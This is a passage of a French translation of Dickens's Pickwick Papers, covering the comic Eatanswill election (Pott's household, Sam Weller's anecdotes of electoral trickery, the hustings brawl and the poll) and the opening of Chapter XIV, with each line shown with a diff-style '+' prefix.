+champion jusqu'à la fin.
+
+--Votre conduite est très-noble, monsieur, s'écria M. Pickwick, et il
+secoua chaleureusement la main du magnanime éditeur.
+
+--Je m'aperçois, monsieur, répondit celui-ci, tout essoufflé par la
+véhémence de sa déclaration patriotique; je m'aperçois que vous êtes un
+homme de sens et de talent. Je suis très-heureux, monsieur, de faire la
+connaissance d'un tel homme.
+
+--Et moi, monsieur, rétorqua M, Pickwick, je me sens profondément honoré
+par cette expression de votre opinion. Permettez-moi, monsieur, de vous
+présenter mes compagnons de voyage, les autres membres correspondants du
+club que je suis orgueilleux d'avoir fondé.»
+
+M. Pott ayant déclaré qu'il en serait enchanté, M. Pickwick alla
+chercher ses trois amis, et les présenta formellement à l'éditeur de la
+_Gazette d'Eatanswill_.
+
+«Maintenant, mon cher Pott, dit le petit M. Perker, la question est de
+savoir ce que nous ferons de nos amis ici présents.
+
+--Nous pouvons rester dans cette maison, je suppose? dit M. Pickwick.
+
+--Pas un lit de reste, monsieur, pas un seul lit.
+
+--Extrêmement embarrassant! reprit M. Pickwick.
+
+--Extrêmement, répétèrent ses acolytes.
+
+--J'ai à ce sujet, dit M. Pott, une idée qui, je l'espère, peut être
+adoptée avec beaucoup de succès. Il y a deux lits au _Paon d'argent_, et
+je puis dire hardiment, au nom de Mme Pott, qu'elle sera enchantée de
+donner l'hospitalité à M. Pickwick et à l'un de ses compagnons, si les
+deux autres gentlemen et leur domestique consentent à s'arranger de leur
+mieux au _Paon d'argent_.»
+
+Après des instances répétées de M. Pott, et des protestations nombreuses
+de M. Pickwick, qu'il ne pouvait pas consentir à déranger l'aimable
+épouse de l'éditeur, il fut décidé que c'était là le seul arrangement
+exécutable; aussi fut-il exécuté. Après avoir dîné ensemble aux _Armes
+de la ville_, et être convenus de se réunir le lendemain matin dans le
+même lieu pour accompagner la procession de l'honorable Samuel Slumkey,
+nos amis se séparèrent, M. Tupman et M. Snodgrass se retirant au _Paon
+d'argent_, M. Pickwick et M. Winkle se réfugiant sous le toit
+hospitalier de M. Pott.
+
+Le cercle domestique de M. Pott se composait de lui-même et de sa femme.
+Tous les hommes qu'un puissant génie a élevés à un poste éminent dans le
+monde, ont ordinairement quelque petite faiblesse, qui n'en paraît que
+plus remarquable par le contraste qu'elle forme avec leur caractère
+public. Si M. Pott avait une faiblesse, c'était apparemment d'être un
+peu trop soumis à la domination légèrement méprisante de son épouse.
+Cependant noua n'avons pas le droit d'insister sur ce fait, car, dans la
+circonstance actuelle, toutes les manières les plus engageantes de Mme
+Pott furent employées à recevoir les deux gentlemen amenés par son mari.
+
+«Chère amie, dit M. Pott, M. Pickwick, M. Pickwick de Londres.»
+
+Mme Pott reçut avec une douceur enchanteresse le serrement de main
+paternel de M. Pickwick, tandis que M. Winkle, qui n'avait pas été
+annoncé du tout, salua et se glissa dans un coin obscur.
+
+«Mon cher, dit la dame.
+
+--Chère amie, répondit l'éditeur.
+
+--Présentez l'autre gentleman.
+
+--Je vous demande un million de pardons, dit M. Pott. Permettez-moi....
+Madame Pott, monsieur....
+
+--Winkle, dit M. Pickwick.
+
+--Winkle, répéta M. Pott; et la cérémonie de l'introduction fut
+complète.
+
+--Nous vous devons beaucoup d'excuses, madame, reprit M. Pickwick, pour
+avoir ainsi troublé vos arrangements domestiques.
+
+--Je vous prie de n'en point parler, monsieur, répliqua avec vivacité la
+moitié féminine de Pott. C'est, je vous assure, un grand plaisir pour
+moi d'apercevoir de nouveaux visages, vivant comme je le fais de jour en
+jour, de semaine en semaine, dans ce triste endroit, et sans voir
+personne.
+
+--Personne! ma chère? s'écria M. Pott, avec finesse.
+
+--Personne que vous, rétorqua son épouse avec aspérité.
+
+--En effet, monsieur Pickwick, reprit leur hôte pour expliquer les
+lamentations de sa femme; en effet, nous sommes privés de beaucoup de
+plaisirs que nous devrions partager. Ma position comme éditeur de la
+_Gazette d'Eatanswill_, le rang que cette feuille occupe dans le pays,
+mon immersion constante dans le tourbillon de la politique....»
+
+Mme Pott interrompit son époux. «Mon cher, dit-elle.
+
+--Chère amie, répondit l'éditeur.
+
+--Je désirerais que vous voulussiez bien trouver un autre sujet de
+conversation, afin que ces messieurs puissent y prendre quelque intérêt.
+
+--Mais, mon amour, dit M. Pott avec humilité, M. Pickwick y prend grand
+intérêt.
+
+--C'est fort heureux pour lui! Mais _moi_ je suis lasse, à mourir, de
+votre politique, de vos querelles avec l'_Indépendant_, et de toutes ces
+sottises. Je suis tout à fait étonnée, Pott, que vous donniez ainsi en
+spectacle vos absurdités.
+
+--Mais, chère amie, murmura le malheureux époux.
+
+--Sottises! ne me parlez pas. Jouez-vous à l'écarté, monsieur?
+
+--Je serai enchanté, madame, d'apprendre avec vous, répondit galamment
+M. Winkle.
+
+--Eh bien! alors, tirez cette table auprès de la fenêtre, pour que je
+n'entende plus cette éternelle politique.
+
+--Jane, dit M. Pott à la servante, qui apportait de la lumière,
+descendez dans le bureau, et montez-moi la collection des gazettes pour
+l'année 1830. Je vais vous lire, continua-t-il en se tournant vers M.
+Pickwick, je vais vous lire quelques-uns des articles de fond que j'ai
+écrits, à cette époque, sur la conspiration des jaunes pour faire nommer
+un nouveau péager à notre Turnpike. Je me flatte qu'ils vous amuseront.
+
+--Je serai véritablement charmé de vous entendre,» répondit M. Pickwick.
+
+Son voeu fut bientôt exaucé. La servante revint avec une collection de
+gazettes, et l'éditeur s'étant assis auprès de son hôte, se mit à lire
+immédiatement.
+
+Nous avons feuilleté le mémorandum de M. Pickwick, dans l'espoir de
+retrouver au moins un sommaire de ces magnifiques compositions; mais ce
+fut vainement. Nous avons cependant des raisons de croire que la vigueur
+et la fraîcheur du style le ravirent entièrement, car M. Winkle a noté
+que ses yeux, comme par un excès de plaisir, restèrent fermés pendant
+toute la durée de la lecture.
+
+L'annonce que le souper était servi mit un terme au jeu d'écarté et à la
+récapitulation des beautés de la _Gazette_. M. Winkle avait déjà fait
+des progrès considérables dans les bonnes grâces de Mme Pott. Elle était
+d'une humeur charmante, et n'hésita pas à l'informer confidentiellement
+que M. Pickwick était un vieux bonhomme tout à fait aimable. Il y a dans
+ces expressions une familiarité que ne se serait permise aucun de ceux
+qui connaissaient intimement l'esprit colossal de ce philosophe.
+Cependant nous les avons conservées parce qu'elles prouvent d'une
+manière touchante et convaincante la facilité avec laquelle il gagnait
+tous les coeurs, et le cas immense que faisaient de lui toutes les
+classes de la société.
+
+La nuit était avancée, M. Tupman et M. Snodgrass dormaient depuis
+longtemps sous l'aile du _Paon d'argent_, lorsque nos deux amis se
+retirèrent dans leurs chambres. Le sommeil s'empara bientôt de leurs
+sens, mais, quoiqu'il eût rendu M. Winkle insensible à tous les objets
+terrestres, le visage et la tournure de l'agréable Mme Pott se
+présentèrent, pendant longtemps encore, à sa fantaisie excitée.
+
+Le mouvement et le bruit de la matinée suivante étaient suffisants pour
+chasser de l'imagination la plus romantique toute autre idée que celle
+de l'élection. Le roulement des tambours, le son des cornes et des
+trompettes, les cris de la populace, le piétinement des chevaux,
+retentissaient dans les rues depuis le point du jour; et de temps en
+temps une escarmouche entre les enfants perdus des deux partis égayait
+et diversifiait les préparatifs de la cérémonie.
+
+Sam parut à la porte de la chambre à coucher de M. Pickwick, justement
+comme il terminait sa toilette. Hé! bien, Sam, lui dit-il, tout le monde
+est en mouvement, aujourd'hui?
+
+«Oh! personne ne caponne, monsieur. Nos particuliers sont rassemblés aux
+_Armes de la ville_, et ils ont tant crié déjà qu'ils en sont tout
+enrouillés.
+
+--Ah! ont-ils l'air dévoué à leur parti, Sam?
+
+--Je n'ai jamais vu de dévouement comme ça, monsieur.
+
+--Énergique, n'est-ce pas?
+
+--Je crois bien. Je n'ai jamais vu boire ni bâfrer si énergiquement. Il
+pourrait bien en crever quelques-uns, voilà tout.
+
+--Cela vient de la générosité malentendue des bourgeois de cette ville.
+
+--C'est fort probable, répondit Sam d'un ton bref.
+
+--Ha! dit M. Pickwick, en regardant par la fenêtre, de beaux gaillards,
+bien vigoureux, bien frais.
+
+--Très-frais, pour sûr. Les deux garçons du _Paon d'argent_ et moi, nous
+avons pompé sur tous les électeurs qui y ont soupé hier.
+
+--Pompé sur des électeurs indépendants!
+
+--Oui, monsieur. Ils ont ronflé cette nuit oùs qu'ils étaient tombés
+ivres-morts hier soir. Ce matin, nous les avons insinués, l'un après
+l'autre, sous la pompe, et voilà! Ils sont tous en bon état maintenant.
+Le comité nous a donné un shilling par tête pour ce service-là!...
+
+--Est-il possible qu'on fasse des choses semblables! s'écria M. Pickwick
+plein d'étonnement.
+
+--Bah! monsieur, ça n'est rien, rien du tout.
+
+--Rien?
+
+--Rien du tout, monsieur. La nuit d'avant le dernier jour de la dernière
+élection, ici, l'autre parti a gagné la servante des _Armes de la ville_
+pour épicer le grog de quatorze électeurs qui restaient dans la maison,
+et qui n'avaient pas encore voté.
+
+--Qu'est-ce que vous entendez par _épicer_ du grog?
+
+--Mettre de l'eau d'ânon dedans, monsieur. Que le bon Dieu m'emporte si
+ça ne les a pas fait roupiller douze heures après l'élection. Ils en ont
+porté un sur un brancard, tout endormi, pour essayer, mais bernique! le
+maire n'a pas voulu de son vote; ainsi ils l'ont rapporté et replanté
+dans son lit.
+
+--Quel étrange expédient! murmura M. Pickwick, moitié pour lui-même,
+moitié pour son domestique.
+
+--Pas si farce qu'une histoire qu'est arrivée à mon père, en temps
+d'élection, à ce même endroit ici, monsieur.
+
+--Contez-moi cela, Sam.
+
+--Voilà, monsieur. Il conduisait une mail-coach[18] de Londres ici, dans
+ce temps-là. L'élection arrive, et il est retenu par un parti pour
+charrier des voteurs de Londres. La veille du jour où il allait se
+mettre en route, le comité de l'autre parti l'envoie chercher tout
+tranquillement. Il s'en va avec le commissionnaire, qui le fait entrer
+dans une grande chambre. Tas de gentlemen, montagnes de papiers, plumes
+et le reste. «Ah! monsieur Weller, dit le président, charmé de vous
+voir. Comment ça va-t-il? qu'il dit.--Très-bien, mossieur, merci, dit
+mon père. J'espère que vous ne maigrissez pas, non plus, qu'il
+dit.--Merci, ça ne va pas mal, dit le gentleman. Asseyez-vous, monsieur,
+je vous en prie.» Ainsi mon père s'asseoit, et le gentleman et lui se
+regardent fisquement leurs deux boules. «Vous ne me reconnaissez pas?
+dit l'autre.--Peux pas dire que je vous aie jamais vu, répond mon
+père.--Oh! moi je vous connais, dit l'autre. Je vous ai connu tout
+petit, dit-il.--C'est égal, je ne vous remets pas du tout, dit mon
+père.--C'est fort drôle, dit l'autre.--Joliment, dit mon père.--Faut qu'
+vous ayez une mauvaise mémoire, monsieur Weller, dit l'autre.--C'est
+vrai qu'a n'est pas fameuse, dit mon père.--Je m'en avais douté, dit
+l'autre.» Comme ça, il lui verse un verre de vin, et il le chatouille
+sur sa manière de conduire, et il le met dans une bonne humeur soignée,
+et à la fin il lui montre une banknote de vingt livres sterling[19].
+«C'est une mauvaise route d'ici à Londres? qu'il lui dit.--Par-ci par-là
+y a de vilains endroits, dit mon père.--Et surtout près du canal, je
+crois? dit le gentleman.--Pour un vilain endroit, c'est un vilain
+endroit, dit mon père.--Hé bien! monsieur Weller, dit l'autre, vous êtes
+un excellent cocher, et vous pouvez faire tout ce que vous voulez avec
+vos chevaux, on sait ça. Nous avons tous bien de l'amitié pour vous,
+monsieur Weller. Ainsi, dans le cas qu'il vous arriverait _par hasard_
+un accident quand vous amènerez les électeurs ici, dans le cas que vous
+les verseriez dans le canal, sans leur faire aucun mal, ceci est pour
+vous, qu'il dit.--Mossieur, vous êtes extrêmement bon, dit mon père, et
+je vais boire à vot' santé un autre verre de vin, dit-il.» Alors il
+boit, empoche la monnaie, et il salue son monde. Hé bien! monsieur,
+continua Sam en regardant son maître avec un air d'impudence
+inexprimable, croiriez-vous que, justement le jour où il menait ces
+mêmes électeurs, sa voiture fut versée précisément dans cet endroit-là,
+et tous les voyageurs lancés dans le canal?
+
+[Footnote 18: Sorte de diligence.]
+
+[Footnote 19: 500 francs.]
+
+--Et retirés sur-le-champ? demanda vivement M. Pickwick.
+
+--Pour ça, répliqua Sam très-lentement, on dit qu'il y manquait un vieux
+gentleman. Je sais bien qu'on a repêché son chapeau, mais je ne suis pas
+bien certain si sa boule était dedans, oui-z-ou non. Mais ce que je
+regarde, c'est la hextraordinaire coïncidence que la voiture de mon père
+s'est versée, juste au même endroit et le même jour, après ce que le
+gentleman lui avait dit.
+
+--Sans aucun doute, c'est un hasard bien extraordinaire, répondit M.
+Pickwick; mais brossez mon chapeau, Sam, car j'entends M. Winkle qui
+m'appelle pour déjeuner.»
+
+M. Pickwick descendit dans le parloir, où il trouva le déjeuner servi et
+la famille déjà rassemblée. Le repas disparut rapidement; les chapeaux
+des gentlemen furent décorés d'énormes cocardes bleues, faites par les
+belles mains de Mme Pott elle-même; et M. Winkle se chargea
+d'accompagner cette dame sur le toit d'une maison voisine des
+_hustings_, tandis que M. Pickwick se rendrait avec M. Pott aux _Armes
+de la ville_. Un membre du comité de M. Slumkey haranguait, d'une des
+fenêtres de cet hôtel, six petits garçons et une jeune fille, qu'il
+appelait pompeusement à tout bout de champ: _hommes d'Eatanswill_; sur
+quoi les six petits garçons susmentionnés applaudissaient
+prodigieusement.
+
+La cour de l'hôtel offrait des symptômes moins équivoques de la gloire
+et de la puissance des bleus d'Eatanswill. Il y avait une armée entière
+de bannières et de drapeaux, étalant des devises appropriées à la
+circonstance, en caractères d'or, de quatre pieds de haut et d'une
+largeur proportionnée. Il y avait une bande de trompettes, de bassons et
+de tambours, rangés sur quatre de front et gagnant leur argent en
+conscience, principalement les tambours, qui étaient fort musculeux. Il
+y avait des troupes de constables, avec des bâtons bleus, vingt membres
+du comité avec des écharpes bleues, et tout un monde d'électeurs, avec
+des cocardes bleues. Il y avait des électeurs à cheval et des électeurs
+à pied. Il y avait un carrosse découvert, à quatre chevaux, pour
+l'honorable Samuel Slumkey. Et les drapeaux flottaient, et les musiciens
+jouaient, et les constables juraient, et les vingt membres du comité
+haranguaient, et la foule braillait, et les chevaux piaffaient et
+reculaient, et les postillons suaient; et toutes les choses, tous les
+individus réunis en cet endroit, s'y trouvaient pour l'avantage, pour
+l'honneur, pour la renommée, pour l'usage spécial de l'honorable Samuel
+Slumkey, de Slumkey-Hall, l'un des candidats pour la représentation du
+bourg d'Eatanswill, dans la chambre des communes du parlement du
+Royaume-Uni.
+
+Longues et bruyantes furent les acclamations, et l'un des drapeaux
+bleus, portant ces mots: LIBERTÉ DE LA PRESSE, s'agita convulsivement
+quand la tête rousse de M. Pott fut aperçue par la foule à l'une des
+fenêtres. Mais l'enthousiasme fut épouvantable quand l'honorable Samuel
+Slumkey lui-même, en bottes à revers et en cravate bleue, s'avança,
+saisit la main dudit Pott, et témoigna à la multitude par des gestes
+mélodramatiques, sa reconnaissance ineffaçable des services que lui
+avait rendus la _Gazette d'Eatanswill_.
+
+«Tom est-il prêt? demanda ensuite l'honorable Samuel Slumkey à M.
+Perker.
+
+--Oui, mon cher monsieur, répliqua le petit homme.
+
+--On n'a rien oublié, j'espère?
+
+--Rien du tout, mon cher monsieur; pas la moindre chose. Il y a vingt
+hommes, bien lavés, à qui vous donnerez des poignées de main, à la
+porte; et six enfants, dans les bras de leurs mères, que vous caresserez
+sur la tête et dont vous demanderez l'âge. Surtout ne négligez pas les
+enfants, mon cher monsieur. Ces sortes de choses produisent toujours un
+bon effet.
+
+--J'y penserai, dit l'honorable Samuel Slumkey.
+
+--Et, peut-être, mon cher monsieur, ajouta le prévoyant petit homme, si
+vous pouviez... je ne dis pas que cela soit indispensable... mais si
+vous pouviez prendre sur vous de baiser un des bambins, cela produirait
+une grande impression sur la foule.
+
+--L'effet ne serait-il pas le même si vous vous chargiez de la besogne?
+demanda M. Samuel Slumkey.
+
+--J'ai peur que non, mon cher monsieur. Mais si vous le faisiez
+vous-même, je pense que cela vous rendrait très-populaire.
+
+--Très-bien, dit l'honorable Samuel Slumkey d'un air résigné, il faut en
+passer par là, voilà tout.
+
+--Arrangez la procession!» crièrent les vingt membres du comité.
+
+Au milieu des acclamations de la multitude, musiciens, constables,
+membres du comité, électeurs, cavaliers, carrosses prirent leurs places.
+Chacune des voitures à deux chevaux contenait autant de gentlemen
+empilés et debout qu'il avait été possible d'en faire tenir. Celle qui
+était assignée à M. Perker renfermait M. Pickwick, M. Tupman, M.
+Snodgrass et une demi-douzaine de membres du comité.
+
+Il y eut un moment de silence solennel, lorsque la procession attendit
+que l'honorable Samuel Slumkey montât dans son carrosse.
+
+Tout d'un coup la foule poussa une acclamation.
+
+«Il est sorti!» s'écria le petit Perker, d'autant plus ému que sa
+position ne lui permettait pas de voir ce qui se passait en avant.
+
+Une autre acclamation, plus forte:
+
+«Il a donné des poignées de main aux hommes!» dit le petit agent.
+
+Une autre acclamation, beaucoup plus violente:
+
+«Il a caressé les bambins sur la tête!» continua M. Perker tremblant
+d'anxiété.
+
+Un tonnerre d'applaudissements qui déchirent les airs:
+
+«Il en a baisé un!» s'écria le petit homme enchanté.
+
+Un second tonnerre:
+
+«Il en a baisé un autre!»
+
+Un troisième tonnerre, assourdissant:
+
+«Il les baise tous!» vociféra l'enthousiaste petit gentleman, et au
+même instant la procession se mit en marche, saluée par les acclamations
+retentissantes de la multitude.
+
+Comment et par quelle cause les deux processions se heurtèrent, et
+comment la confusion qui s'ensuivit fut enfin terminée, c'est ce que
+nous ne pouvons entreprendre de décrire: car au commencement de la
+bagarre le chapeau de M. Pickwick fut enfoncé sur ses yeux, sur son nez
+et sur sa bouche, par l'application d'un drapeau jaune. D'après ce que
+cet illustre philosophe put conclure du petit nombre de rayons visuels
+qui passaient entre ses joues et son feutre, il se représente comme
+entouré de tous côtés par des physionomies irritées et féroces, par un
+vaste nuage de poussière et par une foule épaisse de combattants. Il
+raconte qu'il fut arraché de sa voiture par un pouvoir invisible, et
+qu'il prit part personnellement à des exercices pugilastiques; mais avec
+qui, ou comment, ou pourquoi, c'est ce qu'il lui est absolument
+impossible d'établir. Ensuite il fut poussé sur des gradins de bois par
+les personnes qui étaient derrière lui, et, en retirant son chapeau, il
+se trouva environné de ses amis, sur le premier rang du côté gauche des
+_hustings_. Le côté droit était réservé pour le parti jaune; le centre
+pour le maire et ses assistants. L'un de ceux-ci, le gros crieur
+d'Eatanswill, secouait une énorme cloche, ingénieux moyen de faire faire
+silence. Cependant M. Horatio Fizkin et l'honorable Samuel Slumkey, leur
+main droite posée sur leur coeur, s'occupaient à saluer, avec la plus
+grande affabilité, la mer orageuse de têtes qui inondait la place et de
+laquelle s'élevait une tempête de gémissements, d'acclamations, de
+sifflements, de hurlements, qui aurait fait honneur à un tremblement de
+terre.
+
+«Voilà Winkle, dit M. Tupman à son illustre ami, en le tirant par la
+manche.
+
+--Où? demanda M. Pickwick en ajustant sur son nez ses lunettes, qu'il
+avait heureusement gardées jusque-là dans sa poche.
+
+--Là, répondit M. Tupman, sur le toit de cette maison.»
+
+Et en effet, dans une large gouttière de plomb, M. Winkle et Mme Pott
+étaient confortablement assis sur une couple de chaises, agitant leurs
+mouchoirs pour se faire mieux reconnaître.
+
+M. Pickwick rétorqua ce compliment en envoyant un baiser de sa main à la
+dame.
+
+L'élection n'avait pas encore commencé, et comme une multitude inactive
+est généralement disposée à être facétieuse, cette innocente action fut
+suffisante pour faire naître mille plaisanteries.
+
+«Ohé! là-haut! vieux renard! C'est-il beau de faire des galanteries aux
+filles?
+
+--Oh! le vénérable pécheur!
+
+--Il met ses besicles pour lorgner les femmes mariées.
+
+--Le scélérat! Il lui fait les yeux doux, à travers ses carreaux.
+
+--Surveillez votre femme, Pott!» Et ces lazzis furent suivis de grands
+éclats de rire.
+
+Comme ces brocards étaient accompagnés d'odieuses comparaisons entre M.
+Pickwick et un vieux bouc, ainsi que d'autres traits d'esprit du même
+genre, et comme elles tendaient, en outre, à entacher l'honneur d'une
+innocente dame, l'indignation de notre héros fut excessive: mais le
+silence étant proclamé dans cet instant, il se contenta de jeter à la
+populace un regard de mépris et de pitié, qui la fit rire plus
+bruyamment que jamais.
+
+«Silence! beuglèrent les acolytes du maire.
+
+--Whiffin, proclamez le silence! dit le maire d'un air pompeux, qui
+convenait à sa position élevée. Le crieur, pour obéir à cet ordre,
+exécuta un autre concerto sur sa sonnette, après quoi un gentleman de la
+foule cria, de toutes ses forces, _Fifine!_ ce qui occasiona d'autres
+éclats de rire.
+
+--Gentlemen! dit le maire, en donnant toute l'étendue possible à sa
+voix. Gentlemen, frères électeurs du bourg d'Eatanswill, nous sommes
+assemblés aujourd'hui pour élire un représentant à la place de notre
+dernier....»
+
+Ici, le maire fut interrompu car une voix qui criait dans la foule:
+
+«Bonne chance à M. le maire! et qu'il reste toujours dans les clous et
+les casseroles qu'ils y ont fait sa fortune.»
+
+Cette allusion aux entreprises commerciales de l'orateur excita un
+ouragan de gaieté qui, avec son accompagnement de sonnette, empêcha
+d'entendre un seul mot de la harangue du maire, à l'exception,
+cependant, de la dernière phrase, par laquelle il remerciait ses
+auditeurs de l'attention bienveillante qu'ils lui avaient prêtée. Cette
+expression de gratitude fut accueillie par une autre explosion de joie,
+qui dura environ un quart d'heure.
+
+Un grand gentleman efflanqué, dont le cou était comprimé par une
+cravate blanche très-roide, parut alors en scène, au milieu des
+interruptions fréquentes de la foule, qui l'engageait à envoyer
+quelqu'un chez lui pour voir s'il n'avait pas oublié sa voix sous son
+traversin. Il demanda la permission de présenter une personne propre et
+convenable, pour représenter au parlement les électeurs d'Eatanswill, et
+quand il déclara que c'était Horatio Fizkin, Esquire, de Fizkin-Loge,
+près Eatanswill, les fizkiniens applaudirent et les slumkéïens
+grognèrent, si longtemps et si bruyamment, que le parrain du candidat,
+au lieu de parler, aurait pu chanter des chansons bachiques sans que
+personne s'en fût douté.
+
+Les amis d'Horatio Fizkin, Esquire, ayant joui de leur primauté, un
+petit homme, au visage colérique et rouge comme un oeillet, s'avança afin
+de nommer une autre personne propre et convenable, pour représenter au
+parlement les électeurs d'Eatanswill; mais la nature de cet individu
+était trop irritable pour lui permettre de cheminer tranquillement parmi
+les forces de la multitude. Après quelques sentences d'éloquence
+figurative, le gentleman colérique se mit à tonner contre les
+interrupteurs; puis il échangea des provocations avec les gentlemen
+placés sur les hustings. Alors il se leva de toutes parts un tapage qui
+l'obligea d'exprimer ses sentiments par une pantomime sérieuse, au bout
+de laquelle il céda la place à l'orateur chargé de seconder sa motion.
+Celui-ci, pendant une bonne demi-heure, psalmodia un discours écrit,
+qu'aucun tumulte ne put lui faire interrompre; car il l'avait envoyé
+d'avance à la _Gazette d'Eatanswill_, qui devait l'imprimer mot pour
+mot.
+
+Enfin, Fizkin, Esquire de Fizkin-Loge, près d'Eatanswill, se présenta
+pour parler aux électeurs, mais aussitôt les bandes de musiciens
+employées par l'honorable Samuel Slumkey, commencèrent à exécuter une
+fanfare avec une vigueur toute nouvelle. En échange de cette attention,
+la multitude jaune se mit à caresser la tête et les épaules de la
+multitude bleue; la multitude bleue voulut se débarrasser de l'incommode
+voisinage de la multitude jaune, et il s'ensuivit une scène de
+bousculades, de luttes, de combats, que nous désespérons de pouvoir
+représenter. Le maire s'efforça vainement d'y mettre fin; vainement il
+ordonna d'un ton impératif à douze constables de saisir les principaux
+meneurs, qui pouvaient être au nombre de deux cent cinquante; le tumulte
+continua. Durant l'émeute, Horatio Fizkin, Esquire de Fiskin-Loge et ses
+amis devinrent de plus en plus furieux; enfin, Horatio Fiskin demanda,
+d'un ton péremptoire, à son adversaire l'honorable Samuel Slumkey, de
+Slumkey-Hall, si ces musiciens jouaient par son ordre. L'honorable
+Samuel Slumkey, de Slumkey-Hall, refusant de répondre à cette question,
+Horatio Fizkin, Esquire, de Fizkin Loge, montra le poing à l'honorable
+Samuel Slumkey-Hall: sur quoi, le sang de l'honorable Samuel Slumkey
+s'étant échauffé, il provoqua, en combat mortel, Horatio Fizkin,
+Esquire. Quand le maire entendit cette violation de toutes les règles
+connues et de tous les précédents, il ordonna une nouvelle fantaisie sur
+la sonnette, et déclara que son devoir l'obligeait à faire comparaître
+devant lui, Horatio Fizkin, Esquire, de Fizkin-Loge, et l'honorable
+Samuel Slumkey, de Slumkey-Hall, pour leur faire prêter serment de ne
+point troubler la paix de Sa Majesté. A cette menace terrible, les amis
+des deux candidats s'interposèrent, et lorsque les deux partis se furent
+querellés, deux à deux, pendant trois quarts d'heure, Horatio Fizkin,
+Esquire, mit la main à son chapeau, en regardant l'honorable Samuel
+Slumkey; l'honorable Samuel Slumkey mit la main à son chapeau en
+regardant Horatio Fizkin, Esquire, les musiciens furent interrompus; la
+multitude s'apaisa en partie, et Horatio Fizkin, Esquire, put continuer
+sa harangue.
+
+Les discours des deux candidats, quoique différents sous tous les autres
+rapports, s'accordaient pour offrir un tribut touchant au mérite et à la
+noblesse d'âme des électeurs d'Eatanswill. Chacun exprima son intime
+conviction, qu'il n'avait jamais existé, sur la terre, une réunion
+d'hommes plus indépendants, plus éclairés, plus patriotes, plus
+vertueux, plus désintéressés que ceux qui avaient promis de voter pour
+_lui_: chacun fit entendre obscurément qu'il soupçonnait les électeurs
+de l'autre parti d'être influencés par de honteux motifs, d'être adonnés
+à d'ignobles habitudes d'ivrognerie, qui les rendaient tout à fait
+indignes d'exercer les importantes fonctions confiées à leur honneur
+pour le bonheur de la patrie. Fizkin exprima son empressement à faire
+tout ce qui lui serait proposé[20]; Slumkey, sa détermination de ne
+jamais rien accorder de ce qui lui serait demandé. L'un et l'autre
+mirent en fait, que l'agriculture, les manufactures, le commerce, la
+prospérité d'Eatanswill, seraient toujours plus chers à leur coeur que
+tous les autres objets terrestres. Chacun d'eux, enfin, était heureux
+de pouvoir déclarer que, grâce à sa confiance dans le discernement des
+électeurs, il était sûr que c'était lui qui serait nommé.
+
+[Footnote 20: Le ministère était apparemment libéral.
+
+(_Note du traducteur._)]
+
+A la suite de ce discours, on procéda par main levée; le maire décida en
+faveur de l'honorable Samuel Slumkey, de Slumkey-Hall; Horatio Fizkin,
+Esquire, de Fizkin-Loge, demanda un scrutin: et en conséquence un
+scrutin fut décrété. Ensuite on vota des remerciements au maire, pour
+son admirable façon de présider, et le maire remercia l'assemblée, en
+souhaitant de tout son coeur que _le fauteuil de la présidence_ n'eût pas
+été un vain mot, car il avait été debout pendant toute la durée de
+l'opération. Les processions se reformèrent; les voitures roulèrent
+lentement à travers la foule, et celle-ci applaudit ou siffla, suivant
+ce que lui dictaient ses affections ou ses caprices.
+
+Pendant toute la durée du scrutin, la ville entière sembla agitée d'une
+fièvre d'enthousiasme. Tout se passait de la manière la plus libérale et
+la plus délicieuse. Les spiritueux étaient remarquablement bon marché,
+chez tous les débitants. Des brancards parcouraient les rues pour la
+commodité des électeurs qui se trouvaient incommodés d'étourdissements
+passagers; car, durant toute la lutte électorale, cette espèce
+d'indisposition épidémique s'étant développée chez les votants avec une
+rapidité singulière et tout à fait alarmante, on les voyait souvent
+étendus sur le pavé des rues, dans un état d'insensibilité complète. Le
+dernier jour il y avait encore un petit nombre d'électeurs qui n'avaient
+point voté. C'étaient des individus réfléchis, calculateurs, qui
+n'étaient pas suffisamment convaincus par les raisons de l'un ou l'autre
+parti, quoiqu'ils eussent eu de nombreuses conférences avec tous les
+deux. Une heure avant la fermeture du scrutin, M. Perker sollicita
+l'honneur d'avoir une entrevue privée avec ces nobles, ces intelligents
+patriotes. Les arguments qu'il employa furent brefs, mais convaincants.
+Les retardataires allèrent en troupe au scrutin, et quand ils en
+sortirent, l'honorable Samuel Slumkey, de Slumkey-Hall, était sorti déjà
+de l'urne électorale.
+
+
+
+
+CHAPITRE XIV.
+
+Contenant une courte description de la compagnie assemblée au _Paon
+d'argent_, et de plus une histoire racontée par un commis-voyageur.
+
+
+C'est avec un plaisir toujours nouveau, qu'après avoir contemplé les
+tourments et les combats de la vie politique, on ramène son attention
+sur la tranquillité de la vie privée. Quoique en réalité, M. Pickwick ne
+tint pas beaucoup à l'un ou à l'autre parti, il avait été assez enflammé
+par l'enthousiasme de Pott, pour appliquer ses immenses facultés
+intellectuelles aux opérations que nous venons de raconter, d'après son
+mémorandum. Pendant qu'il était ainsi occupé, M. Winkle ne restait pas
+oisif, mais il dévouait tout son temps à d'agréables promenades, à de
+petites excursions romantiques avec Mme Pott; car, lorsque l'occasion
+s'en présentait, cette aimable dame ne manquait jamais de chercher
+quelque soulagement à l'ennuyeuse monotonie dont elle se plaignait avec
+tant d'amertume. M. Pickwick et M. Winkle, étant ainsi complétement
+acclimatés dans la maison de l'éditeur, M. Tupman et M. Snodgrass, se
+trouvèrent en grande partie réduits à leurs propres ressources. Prenant
+peu d'intérêt aux affaires publiques, ils eurent recours, pour charmer
+leurs loisirs, aux amusements que pouvait offrir le _Paon d'argent_. Ces
+amusements se composaient d'un jeu de bagatelle, au premier étage, et
+d'un solitaire jeu de quilles, dans l'arrière-cour. Grâce au dévouement
+de Sam, nos voyageurs furent graduellement initiés dans les mystères de
+ces passe-temps, beaucoup plus abstraits que ne le supposent les hommes
+ordinaires. C'est ainsi qu'ils parvinrent à charmer la lenteur des
+heures paresseuses, quoiqu'ils fussent en grande partie deshérités de la
+société de M. Pickwick.
+
+C'était principalement le soir que le _Paon d'argent_ offrait, aux deux
+amis, des attractions qui leur permettaient de résister aux invitations
+pressantes de l'éloquent, quoique verbeux, journaliste. C'était le soir
+que le café de l'hôtel se remplissait d'un cercle d'originaux, dont les
+caractères et les manières présentaient à M. Tupman des observations
+délicieuses et dont les discours et les actions étaient habituellement
+notés par M. Snodgrass.
+
+On sait ce que sont ordinairement les cafés où se rassemblent messieurs
+les commis voyageurs. Celui du _Paon d'argent_ ne sortait point de la
+règle commune. C'était une vaste pièce toute nue, dont le maigre
+ameublement avait, sans aucun doute, été meilleur lorsqu'il était plus
+neuf. Une curieuse collection de chaises, aux formes grotesques et
